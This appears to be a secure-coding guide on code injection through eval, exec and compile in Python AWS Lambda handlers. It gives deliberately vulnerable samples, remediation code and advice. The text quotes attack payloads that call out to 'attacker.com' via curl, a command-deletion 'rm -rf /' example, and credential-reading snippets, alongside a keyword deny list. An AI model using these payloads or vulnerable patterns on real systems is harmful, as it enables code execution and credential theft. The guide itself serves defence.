Python AWS Lambda Tainted Code Execution

Critical Risk Code Injection
pythonaws-lambdacode-executionevalexecserverlesstainted-input

What it is

The AWS Lambda function executes user-controlled code through eval(), exec(), compile(), or similar functions, creating severe code injection vulnerabilities. This allows attackers to execute arbitrary Python code within the Lambda environment, potentially accessing AWS services, environment variables, or performing unauthorized operations.

# Vulnerable: Tainted code execution in Lambda import json def lambda_handler(event, context): user_code = event.get('code', '') # Extremely dangerous: Direct execution of user code try: result = eval(user_code) return { 'statusCode': 200, 'body': json.dumps({'result': str(result)}) } except Exception as e: return { 'statusCode': 400, 'body': json.dumps({'error': str(e)}) } # Another vulnerable pattern def execute_script(event, context): script = event.get('script', '') globals_dict = event.get('globals', {}) # Dangerous: exec with user-controlled globals try: exec(script, globals_dict) return {'status': 'executed', 'globals': globals_dict} except Exception as e: return {'error': str(e)} # Template processing vulnerability def process_template(event, context): template = event.get('template', '') variables = event.get('variables', {}) # Dangerous: Code injection through template try: # User can inject code like: ${__import__('os').system('rm -rf /')} result = eval(f"f'{template}'", variables) return {'rendered': result} except Exception as e: return {'error': str(e)} # Dynamic function creation def create_function(event, context): func_code = event.get('function_code', '') func_name = event.get('function_name', 'user_func') # Dangerous: Compiling and executing user code try: compiled_code = compile(func_code, '', 'exec') exec(compiled_code) # Try to call the user-defined function if func_name in locals(): result = locals()[func_name]() return {'result': result} except Exception as e: return {'error': str(e)}
# Secure: Safe alternatives to code execution in Lambda import json import ast import re import operator from typing import Any, Dict, List def lambda_handler(event, context): operation = event.get('operation', '') data = event.get('data', {}) # Use predefined operations instead of code execution allowed_operations = { 'calculate': safe_calculate, 'transform': safe_transform, 'filter': safe_filter, 'aggregate': safe_aggregate } if operation not in allowed_operations: return { 'statusCode': 400, 'body': json.dumps({'error': 'Operation not allowed'}) } try: result = allowed_operations[operation](data) return { 'statusCode': 200, 'body': json.dumps({'result': result}) } except Exception as e: return { 'statusCode': 500, 'body': json.dumps({'error': 'Operation failed'}) } # Safe mathematical operations def safe_calculate(data: Dict[str, Any]) -> Any: expression = data.get('expression', '') # Validate expression contains only safe characters if not re.match(r'^[0-9+\-*/().\s]+$', expression): raise ValueError('Invalid expression format') try: # Use ast.literal_eval for safe evaluation of literals # Note: ast.literal_eval only works for literals, not expressions # For expressions, implement a safe parser return safe_math_eval(expression) except (ValueError, SyntaxError) as e: raise ValueError('Invalid mathematical expression') def safe_math_eval(expression: str) -> float: """Safe evaluation of mathematical expressions""" # Remove whitespace expression = expression.replace(' ', '') # Define allowed operators operators = { '+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv } # Simple expression evaluation (extend as needed) # This is a basic implementation - use a proper math parser in production try: # Handle simple binary operations for op_symbol, op_func in operators.items(): if op_symbol in expression: parts = expression.split(op_symbol, 1) if len(parts) == 2: left = float(parts[0]) right = float(parts[1]) return op_func(left, right) # Single number return float(expression) except (ValueError, ZeroDivisionError): raise ValueError('Invalid calculation') # Safe data transformation def safe_transform(data: Dict[str, Any]) -> List[Dict[str, Any]]: items = data.get('items', []) transform_type = data.get('transform', '') allowed_transforms = { 'uppercase': lambda x: x.upper() if isinstance(x, str) else x, 'lowercase': lambda x: x.lower() if isinstance(x, str) else x, 'multiply_by_2': lambda x: x * 2 if isinstance(x, (int, float)) else x, 'add_prefix': lambda x: f"item_{x}" if isinstance(x, str) else x } if transform_type not in allowed_transforms: raise ValueError('Transform not allowed') transform_func = allowed_transforms[transform_type] transformed = [] for item in items: if isinstance(item, dict): new_item = {} for key, value in item.items(): new_item[key] = transform_func(value) transformed.append(new_item) else: transformed.append(transform_func(item)) return transformed # Safe filtering def safe_filter(data: Dict[str, Any]) -> List[Any]: items = data.get('items', []) filter_criteria = data.get('filter', {}) # Only allow simple comparison filters allowed_operators = ['eq', 'ne', 'gt', 'lt', 'gte', 'lte', 'contains'] filtered = [] for item in items: should_include = True for field, criteria in filter_criteria.items(): if not isinstance(criteria, dict): continue for operator, expected_value in criteria.items(): if operator not in allowed_operators: continue if field not in item: should_include = False break actual_value = item[field] if operator == 'eq' and actual_value != expected_value: should_include = False elif operator == 'ne' and actual_value == expected_value: should_include = False elif operator == 'gt' and actual_value <= expected_value: should_include = False elif operator == 'lt' and actual_value >= expected_value: should_include = False elif operator == 'gte' and actual_value < expected_value: should_include = False elif operator == 'lte' and actual_value > expected_value: should_include = False elif operator == 'contains' and str(expected_value) not in str(actual_value): should_include = False if not should_include: break if not should_include: break if should_include: filtered.append(item) return filtered # Safe aggregation def safe_aggregate(data: Dict[str, Any]) -> Dict[str, Any]: items = data.get('items', []) group_by = data.get('group_by', '') aggregation = data.get('aggregation', 'count') allowed_aggregations = ['count', 'sum', 'avg', 'min', 'max'] if aggregation not in allowed_aggregations: raise ValueError('Aggregation not allowed') if not group_by: # Simple aggregation without grouping if aggregation == 'count': return {'result': len(items)} numeric_values = [item for item in items if isinstance(item, (int, float))] if not numeric_values: return {'result': 0} if aggregation == 'sum': return {'result': sum(numeric_values)} elif aggregation == 'avg': return {'result': sum(numeric_values) / len(numeric_values)} elif aggregation == 'min': return {'result': min(numeric_values)} elif aggregation == 'max': return {'result': max(numeric_values)} # Grouping aggregation groups = {} for item in items: if isinstance(item, dict) and group_by in item: group_key = str(item[group_by]) if group_key not in groups: groups[group_key] = [] groups[group_key].append(item) result = {} for group_key, group_items in groups.items(): if aggregation == 'count': result[group_key] = len(group_items) # Add other aggregations as needed return {'grouped_result': result} # Safe template processing def safe_template_process(event, context): template = event.get('template', '') variables = event.get('variables', {}) # Use simple string replacement instead of code execution if not isinstance(variables, dict): raise ValueError('Variables must be a dictionary') # Validate template format if not re.match(r'^[a-zA-Z0-9\s{}._-]+$', template): raise ValueError('Invalid template format') # Safe variable substitution result = template for key, value in variables.items(): # Sanitize key and value safe_key = re.sub(r'[^a-zA-Z0-9_]', '', str(key)) safe_value = str(value)[:100] # Limit length # Simple replacement result = result.replace(f'{{{safe_key}}}', safe_value) return {'rendered': result}

💡 Why This Fix Works

See fix suggestions for detailed explanation.

Why it happens

AWS Lambda functions invoke Python's eval() or exec() built-in functions on data extracted from Lambda event payloads, enabling attackers to execute arbitrary Python code within the Lambda execution environment with full access to boto3, environment variables, and AWS service permissions. The eval(expression, globals, locals) function parses and evaluates Python expressions, returning the result of execution, while exec(code, globals, locals) executes Python statements without returning values, both treating string inputs as executable code without sandboxing or restrictions. Lambda event sources deliver user-controlled data through API Gateway request parameters, S3 object metadata, SQS message bodies, or DynamoDB stream records that developers pass to eval()/exec(): eval(event['formula']) processes mathematical expressions but allows injection like '__import__("boto3").client("s3").list_buckets()' to enumerate S3 buckets. Serverless APIs implementing flexible data processors, rule engines, or custom calculation endpoints accept formulas or logic as strings and execute them using eval(): an API accepting mathematical expressions like '2 + 2' is vulnerable when attackers inject '[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "Popen"][0](["curl", "attacker.com"])' to achieve remote code execution through Python introspection. Lambda execution roles grant functions IAM permissions to AWS services, and code injected through eval()/exec() inherits these permissions: functions with s3:GetObject can exfiltrate data, lambda:InvokeFunction can pivot to other functions, and dynamodb:Scan can extract database contents. Environment variables accessible via os.environ contain sensitive data including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and custom secrets that injected code retrieves using 'os.environ' as eval() input.

Root causes

Using eval() or exec() with User-Provided Input from Lambda Events

AWS Lambda functions invoke Python's eval() or exec() built-in functions on data extracted from Lambda event payloads, enabling attackers to execute arbitrary Python code within the Lambda execution environment with full access to boto3, environment variables, and AWS service permissions. The eval(expression, globals, locals) function parses and evaluates Python expressions, returning the result of execution, while exec(code, globals, locals) executes Python statements without returning values, both treating string inputs as executable code without sandboxing or restrictions. Lambda event sources deliver user-controlled data through API Gateway request parameters, S3 object metadata, SQS message bodies, or DynamoDB stream records that developers pass to eval()/exec(): eval(event['formula']) processes mathematical expressions but allows injection like '__import__("boto3").client("s3").list_buckets()' to enumerate S3 buckets. Serverless APIs implementing flexible data processors, rule engines, or custom calculation endpoints accept formulas or logic as strings and execute them using eval(): an API accepting mathematical expressions like '2 + 2' is vulnerable when attackers inject '[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "Popen"][0](["curl", "attacker.com"])' to achieve remote code execution through Python introspection. Lambda execution roles grant functions IAM permissions to AWS services, and code injected through eval()/exec() inherits these permissions: functions with s3:GetObject can exfiltrate data, lambda:InvokeFunction can pivot to other functions, and dynamodb:Scan can extract database contents. Environment variables accessible via os.environ contain sensitive data including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and custom secrets that injected code retrieves using 'os.environ' as eval() input.

Dynamic Code Compilation with Untrusted Data Using compile()

Lambda functions use Python's compile() built-in to dynamically compile user-controlled strings into code objects that are subsequently executed with exec(), creating code injection vulnerabilities that bypass basic eval() detection. The compile(source, filename, mode) function compiles source code into bytecode objects that can be executed later: compiled = compile(event['code'], '<user_input>', 'exec'); exec(compiled) separates compilation from execution but remains vulnerable when source originates from Lambda events. Developers use compile() to implement plugin systems, custom rule engines, or scriptable workflows where Lambda functions accept and execute user-defined logic, treating untrusted input as trustworthy code. The three compilation modes—'eval' for expressions, 'exec' for statements, and 'single' for interactive input—all produce executable code that runs with Lambda function privileges when user input reaches the source parameter. Compiled code objects preserve the original source semantics including imports, function definitions, class declarations, and system calls, enabling attackers to define malicious functions that execute when compiled bytecode runs. Lambda functions that cache compiled code in global variables or /tmp filesystem create persistent code injection where attacker-supplied code executes across multiple invocations: CACHE = {}; if event['code_hash'] not in CACHE: CACHE[event['code_hash']] = compile(event['code'], '<user>', 'exec') enables injection that affects future Lambda invocations. The filename parameter to compile() appears in tracebacks and error messages, potentially leaking information about code injection attempts, but provides no security controls to prevent execution of malicious compiled code.

Template Engines that Allow Code Execution in Rendering Contexts

Lambda functions use Python template engines like Jinja2, Mako, or string.Template configured to permit code execution during template rendering, and process user-controlled template strings that inject malicious code into rendering contexts. Jinja2 with autoescape disabled or with server-side template injection vulnerabilities allows template syntax like {{ config.items() }} to access application configuration or {{''.__class__.__mro__[1].__subclasses__()}} to enumerate Python classes for remote code execution gadgets. Mako templates explicitly support arbitrary Python code execution through ${} expression syntax and <% %> statement blocks: user-controlled templates containing ${__import__('os').system('curl attacker.com')} execute system commands during rendering. Lambda functions implementing dynamic email generation, report creation, or content rendering accept template strings from event parameters and render them with sensitive context variables: Template(event['template']).render(context) exposes context containing boto3 clients, database connections, or AWS credentials to malicious templates. Format strings using str.format() or f-strings with user input enable limited code execution: f"{event['user_input']}" can inject expressions like {self.__init__.__globals__} to access global namespace. Python's string.Template provides safer substitution but remains vulnerable when combined with eval(): Template(event['template']).safe_substitute(vars) followed by eval(result) chains template injection with code execution. Template context that includes lambda functions, callable objects, or module references provides additional attack surface: render(context={'os': os, 'boto3': boto3}) gives templates direct access to dangerous modules.

Configuration Files Processed as Executable Code

Lambda functions load configuration from sources that support executable code syntax—Python .py config files, YAML with !!python/object tags, or JSON processed through eval()—and execute this configuration during Lambda initialization or request handling, enabling configuration-as-code injection attacks. Lambda functions that import configuration modules dynamically using importlib or exec(): import importlib; config = importlib.import_module(event['config_name']) enable attackers to specify malicious config modules uploaded to /tmp or included in deployment packages. YAML configuration files parsed with yaml.unsafe_load() or yaml.load() without Loader parameter execute arbitrary Python code through !!python/object, !!python/object/apply, or !!python/object/new tags: attacker-supplied YAML containing '!!python/object/apply:os.system ["curl attacker.com"]' executes commands during parsing. Configuration stored in S3, DynamoDB, or Parameter Store that Lambda functions retrieve and execute: exec(s3_client.get_object(Bucket=bucket, Key='config.py')['Body'].read()) treats S3 content as executable code without validation. Lambda functions that evaluate configuration values to support dynamic types or computed values: config = {k: eval(v) for k, v in raw_config.items()} converts string configuration to Python objects but enables code injection through configuration entries. Application configuration following code-as-configuration patterns where settings like PROCESSING_FUNCTION = 'lambda x: x * 2' are evaluated using eval() to create callable configuration values, not recognizing that user-controlled configuration becomes executable code. Infrastructure-as-code deployments that template Lambda configuration using user input, creating configuration files containing injected code that executes when Lambda functions load configuration modules.

API Endpoints that Accept and Execute Code Strings

Lambda-backed API Gateway or Application Load Balancer endpoints designed to execute user-provided code for features like custom calculations, data transformations, filtering logic, or programmable automation, creating intentional code execution attack surface. Serverless APIs implementing 'serverless functions as a service' or 'cloud IDE' functionality that accept code strings from POST request bodies, execute them in Lambda, and return results: POST /execute {"code": "2 + 2"} executes code via eval() or exec(), enabling arbitrary code execution when API lacks authentication, authorization, or code sandboxing. Data processing APIs that accept user-defined transformation functions: POST /transform {"data": [...], "transform": "lambda x: x * 2"} uses eval() to create transformation functions from user input. Rule engine APIs where users define business logic as code: POST /rules {"condition": "price > 100 and quantity < 10", "action": "apply_discount()"} evaluates conditions and actions using exec(), allowing injection of malicious logic. Webhook processors that evaluate user-specified expressions to determine webhook routing or data filtering: event['filter'] = 'status == "active" and timestamp > yesterday' executed via eval() enables code injection through filter expressions. API Gateway Lambda proxy integrations that extract code from query parameters: /calculate?expr=2+2 passes expr to eval(event['queryStringParameters']['expr']) for execution. GraphQL resolvers or REST API endpoints that support computed fields defined as code strings: field calculators that execute eval(field_definition['expression']) to compute derived fields from base data.

Fixes

1

Never Use eval() or exec() with User Input Under Any Circumstances

Completely eliminate eval() and exec() from Lambda function code, treating any use of these functions with user-controlled data as a critical security vulnerability requiring immediate remediation regardless of perceived input validation or sanitization. Remove all code patterns that invoke eval(user_input), exec(user_input), compile(user_input), or related functions where user_input originates from Lambda events, API Gateway requests, S3 objects, database records, or any external source. Implement code reviews and static analysis that flag eval() and exec() usage as blocking issues: use tools like Bandit, Pylint with security plugins, or Semgrep rules that detect dangerous code execution patterns. For mathematical expression evaluation, implement dedicated safe expression parsers using libraries like simpleeval, asteval, or numexpr that provide restricted evaluation environments without full Python code execution. For data transformation logic, use predefined transformation functions mapped through dictionaries: TRANSFORMS = {'uppercase': str.upper, 'lowercase': str.lower}; result = TRANSFORMS[event['transform']](data) applies transformations safely. For conditional logic and rule evaluation, implement decision trees, lookup tables, or domain-specific languages with restricted syntax that cannot execute arbitrary code. Document eval() and exec() as forbidden functions in team security guidelines and development standards, explaining code injection risks in serverless environments. Search codebases for eval() and exec() usage: grep -r 'eval\|exec' . identifies all instances requiring remediation. Replace eval() in data parsing contexts with json.loads(), ast.literal_eval(), or specific type conversion functions that handle only data, never code.

2

Use ast.literal_eval() for Safe Data Parsing from Strings

Replace eval() used for data parsing with ast.literal_eval() which safely evaluates strings containing Python literals (strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None) without executing arbitrary code or calling functions. Import ast module and use ast.literal_eval(user_string) to parse string representations of Python data structures: data = ast.literal_eval(event['data']) safely converts '{"key": "value"}' to Python dictionary without code execution risks. ast.literal_eval() raises ValueError or SyntaxError for malicious input containing function calls, imports, or code execution attempts: ast.literal_eval('__import__("os").system("rm -rf /")') raises SyntaxError instead of executing commands. For JSON data, prefer json.loads() over ast.literal_eval() as JSON provides stricter guarantees: json.loads(event['data']) parses JSON without supporting Python-specific types like tuples or sets that ast.literal_eval() handles. Implement error handling for ast.literal_eval(): try/except blocks should catch ValueError and SyntaxError, logging parse failures for security monitoring without exposing error details to users. Validate data types after parsing: if not isinstance(parsed_data, dict): raise ValueError('Expected dictionary') ensures parsed data matches expected structure. For configuration values that must support multiple types, use ast.literal_eval() with type validation: value = ast.literal_eval(config_string); if not isinstance(value, (str, int, float, bool)): raise ValueError('Unsupported type') restricts to safe scalar types. Document ast.literal_eval() limitations: it only parses literals and cannot evaluate expressions like '2 + 2', requiring alternative approaches for mathematical calculations. Combine ast.literal_eval() with schema validation: parsed = ast.literal_eval(user_input); jsonschema.validate(parsed, schema) ensures both safe parsing and correct data structure.

3

Implement Strict Input Validation and Sanitization Before Processing

Apply comprehensive input validation to all Lambda event data before any processing, using schemas, regular expressions, type checking, and allowlists to prevent malicious code strings from reaching processing logic that might inadvertently execute them. Define JSON schemas for Lambda event structure using jsonschema library: schema = {'type': 'object', 'properties': {'operation': {'type': 'string', 'enum': ['add', 'subtract']}, 'operands': {'type': 'array', 'items': {'type': 'number'}}}}; jsonschema.validate(event, schema) enforces structure and types before processing. Use regular expressions to validate string inputs match expected patterns: re.match(r'^[a-zA-Z0-9_]+$', event['identifier']) ensures identifiers contain only safe characters without special syntax. Implement length limits on all string inputs: MAX_INPUT_LENGTH = 1000; if len(user_input) > MAX_INPUT_LENGTH: raise ValueError('Input too long') prevents excessively large malicious payloads. Check for Python syntax keywords and dangerous patterns: FORBIDDEN = ['import', 'eval', 'exec', '__', 'lambda']; if any(keyword in user_input for keyword in FORBIDDEN): raise ValueError('Forbidden pattern detected') blocks obvious code injection attempts. Use allowlist validation for enumerated values: ALLOWED_OPERATIONS = {'create', 'read', 'update', 'delete'}; if event['operation'] not in ALLOWED_OPERATIONS: raise ValueError('Operation not permitted') restricts to known-safe operations. Sanitize string inputs by removing or escaping dangerous characters: sanitized = re.sub(r'[^a-zA-Z0-9\s]', '', user_input) strips special characters that could enable code injection. Validate data types strictly: operands = [float(x) for x in event['operands']] coerces to expected types while raising ValueError for invalid input. Log validation failures to CloudWatch for security monitoring: logger.warning(f'Validation failed for event: {sanitize_for_logging(event)}'). Implement multiple validation layers: API Gateway request validation, Lambda function input validation, and business logic validation provide defense-in-depth.

4

Use Allowlists for Permitted Operations and Functions

Define strict allowlists specifying exactly which operations, functions, and transformations are permitted, implementing Lambda functions that map user-specified operation names to pre-approved handler functions without dynamic code execution. Create operation allowlists as dictionaries mapping operation identifiers to safe handler functions: ALLOWED_OPERATIONS = {'calculate_sum': calculate_sum_handler, 'calculate_avg': calculate_avg_handler, 'transform_uppercase': uppercase_handler}; result = ALLOWED_OPERATIONS[event['operation']](event['data']) invokes pre-defined functions without eval(). For mathematical operations, define safe operator mappings: OPERATORS = {'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv, '**': operator.pow}; result = OPERATORS[event['operator']](operand1, operand2) executes arithmetic without eval(). Implement data transformation allowlists: TRANSFORMATIONS = {'uppercase': str.upper, 'lowercase': str.lower, 'strip': str.strip, 'title': str.title}; transformed = TRANSFORMATIONS[event['transform']](data) applies string transformations safely. For filtering and conditional logic, define comparison operator allowlists: COMPARISONS = {'eq': operator.eq, 'ne': operator.ne, 'gt': operator.gt, 'lt': operator.lt, 'ge': operator.ge, 'le': operator.le}; matches = COMPARISONS[event['comparison']](value, threshold) evaluates conditions without code execution. Create function allowlists for permitted module functions: ALLOWED_FUNCTIONS = {'len': len, 'sum': sum, 'max': max, 'min': min}; result = ALLOWED_FUNCTIONS[event['function']](data) calls built-in functions safely. Validate operation names against allowlists before any processing: if operation not in ALLOWED_OPERATIONS: raise ValueError(f'Operation {operation} not permitted') rejects unknown operations immediately. Document each allowed operation with security justification and usage examples. Store allowlist definitions in Lambda environment variables or Parameter Store for operational control: allowed_ops = json.loads(os.environ['ALLOWED_OPERATIONS']) enables allowlist updates without code changes. Implement comprehensive logging: log all operation invocations with operation name, parameters, result, and Lambda request ID to CloudWatch for audit trail.

5

Design APIs to Accept Structured Data Instead of Code Strings

Redesign Lambda-backed APIs to accept structured JSON or form data specifying operations, parameters, and options through data fields rather than accepting code strings for execution, eliminating code injection attack surface entirely. Replace code string parameters with structured operation requests: instead of POST /execute {"code": "x * 2"}, design POST /transform {"operation": "multiply", "operand": 2, "data": [...]} that specifies transformation declaratively. For mathematical calculations, accept operator and operands as separate fields: {"operation": "calculate", "operator": "+", "operands": [10, 20]} rather than {"expression": "10 + 20"} that requires parsing and risks code injection. Implement filtering APIs with structured filter criteria: {"filters": [{"field": "status", "operator": "eq", "value": "active"}, {"field": "price", "operator": "gt", "value": 100}]} explicitly specifies filter logic without code execution. For data transformations, use transformation pipeline specifications: {"transformations": [{"type": "uppercase", "field": "name"}, {"type": "multiply", "field": "quantity", "factor": 2}]} defines transformation sequence declaratively. Design aggregation APIs with structured group-by and aggregation specifications: {"groupBy": "category", "aggregations": [{"type": "sum", "field": "amount"}, {"type": "count"}]} requests aggregation without custom code. Use GraphQL for complex query requirements: GraphQL schema and resolvers provide structured query language that prevents code injection while supporting flexible queries. Implement rule engines with JSON rule definitions: {"condition": {"all": [{"field": "quantity", "operator": "gt", "value": 10}, {"field": "price", "operator": "lt", "value": 100}]}, "action": "apply_discount"} specifies rules declaratively using json-rules-engine or similar libraries. Document API schemas using OpenAPI/Swagger specifications that define structured request formats. Implement API Gateway request validation using JSON Schema to enforce structured data formats before Lambda invocation.

6

Use Lambda Environment Variables and Parameter Store for Configuration

Store all configuration as environment variables, AWS Systems Manager Parameter Store parameters, or AWS Secrets Manager secrets rather than accepting configuration as executable code, eliminating configuration-as-code injection vectors while maintaining operational flexibility. Define configuration values as Lambda environment variables: PROCESSING_MODE, MAX_BATCH_SIZE, ALLOWED_OPERATIONS set in Lambda function configuration accessed via os.environ.get('PROCESSING_MODE', 'default') without code execution. For complex configuration, store JSON in Parameter Store: ssm_client.get_parameter(Name='/app/config')['Parameter']['Value']; config = json.loads(value) retrieves structured configuration safely. Use typed configuration with explicit parsing: batch_size = int(os.environ.get('BATCH_SIZE', '100')); timeout = float(os.environ.get('TIMEOUT', '30.0')) ensures configuration values have expected types. Implement configuration validation at Lambda cold start: validate_config(config) checks configuration completeness and correctness before processing events, failing fast for misconfigurations. For feature flags and toggles, use environment variables with boolean parsing: feature_enabled = os.environ.get('FEATURE_ENABLED', 'false').lower() == 'true' enables conditional features without code execution. Store sensitive configuration in Secrets Manager: secretsmanager_client.get_secret_value(SecretId='app/database')['SecretString'] retrieves credentials securely without embedding in code or environment variables visible in console. Use AWS AppConfig for dynamic configuration that requires frequent updates: appconfig_client.get_configuration() retrieves configuration without Lambda redeployment. Define configuration schemas and validate at startup: jsonschema.validate(config, config_schema) ensures configuration correctness. Implement configuration defaults in code: config = {**DEFAULT_CONFIG, **environment_config} merges defaults with environment-specific overrides safely. Use Infrastructure as Code (CloudFormation, Terraform, SAM) to define environment variables declaratively in templates. Never use YAML with unsafe_load, pickle, or any configuration format that supports code execution: stick to JSON for structured configuration that cannot contain executable code.

Detect This Vulnerability in Your Code

Sourcery automatically identifies python aws lambda tainted code execution and many other security issues in your codebase.